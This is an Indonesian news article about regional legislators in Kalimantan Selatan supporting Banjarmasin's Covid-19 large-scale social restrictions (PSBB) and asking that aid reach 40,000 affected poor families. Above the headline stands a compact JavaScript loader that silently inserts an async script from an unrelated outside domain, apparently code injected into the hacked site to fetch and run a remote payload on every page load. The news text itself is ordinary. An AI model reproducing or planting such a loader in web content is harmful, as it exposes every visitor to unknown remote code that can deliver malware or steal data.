(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Dukung PSBB di Banjarmasin, DPRD Kalsel Minta Bantuan 40 Ribu Keluarga Terdampak Diperhatikan!

KANALKALIMANTAN.COM, BANJARMASIN – DPRD Kalsel mengapresiasi langkah Pemko Banjarmasin memberlakukan pembatasan sosial berskala besar (PSBB). Langkah ini untuk memutus mata rantai penyebaran Covid-19.

“Kami menyimpulkan bahwa penanganan dan pencegahan Covid-19 di Kota Banjarmasin sudah siap dan (pemko) telah melaksanakan program yang telah dilaksanakan sampai ditetapkannya PSBB,” kata anggota DPRD Kalsel, Suripno Sumas usai bertemu dengan Wali Kota H Ibnu Sina di sela kunjungan ke Balaikota Banjarmasin bersama rombongan, Selasa (21/4/2020) siang.

Menurut Suripno, program untuk masyarakat miskin di kota sebanyak 40 ribu orang miskin selama pemberlakuan PSBB dinilai cukup bagus. Namun demikian, Wakil Ketua Komisi I DPRD Provinsi Kalsel ini menggarisbawahi, yang harus menjadi perhatian bersama adalah dampak dari Covid-19 ini.

“Karena berdasarkan data yang disampaikan oleh pemko, ada sekitar 20 ribu orang miskin yang terdampak akibat Covid-19 ini. Yang terdiri dari para pekerja informal, perhotelan dan perusahaan swasta,” sebutnya.

Ia berharap, program ini dapat disinergikan dengan Pemprov Kalsel. Karena, dari APBD Kota Banjarmasin hanya sanggup untuk 5 ribu orang miskin saja, yang mana satu kepala keluarga dijatah Rp600 ribu per bulan yang dibayarkan selama tiga bulan.

“Sehingga nantinya jumlah 20 ribu orang miskin yang terdata itu dapat kita atasi bersama, dan dampak ekonomi dari wabah Covid-19 ini tidak jadi kendala bagi warga kota,” pungkasnya.

Sementara itu Wali Kota Banjarmasin H. Ibnu Sina menambahkan, jumlah 40 ribu kepala keluarga miskin yang terdata adalah yang terbaru. Diprediksi akan ada 20 ribu orang miskin baru yang diakibatkan adanya pemutusan hubungan kerja (PHK) sebagai dampak dari Covid-19. “Yang bulan lalu menerima gaji, sementara di bulan ini tidak. Itu yang dimaksud dengan tambahan 5 ribu tadi. Kalau 40 ribu itu by name by address, sudah ada di basis data terpadu,” jelasnya.

Diakui Ibnu, anggaran penanganan Covid-19 di Kota Banjarmasin masih tetap Rp51 miliar tanpa adanya penambahan yang bersumber dari APBD Kota Banjarmasin(Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell